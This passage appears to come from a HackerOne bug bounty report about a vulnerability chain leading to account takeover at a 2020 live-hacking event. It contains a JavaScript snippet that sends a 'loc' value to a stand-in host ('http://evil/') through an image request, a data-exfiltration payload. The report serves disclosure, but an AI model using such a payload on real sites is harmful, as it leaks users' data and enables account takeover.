[h1-415 2020] Chain of vulnerabilities leading to account takeover and unauthorized access of sensitive internal resources

Note: **Please read this report as "An attacker taking over a customer's account" and not as "helping Jobert recovering his document" :)**

      var img1 = document.createElement('img');
      img1.src = 'http://evil/image.png?loc='+loc
      document.body.appendChild(img1);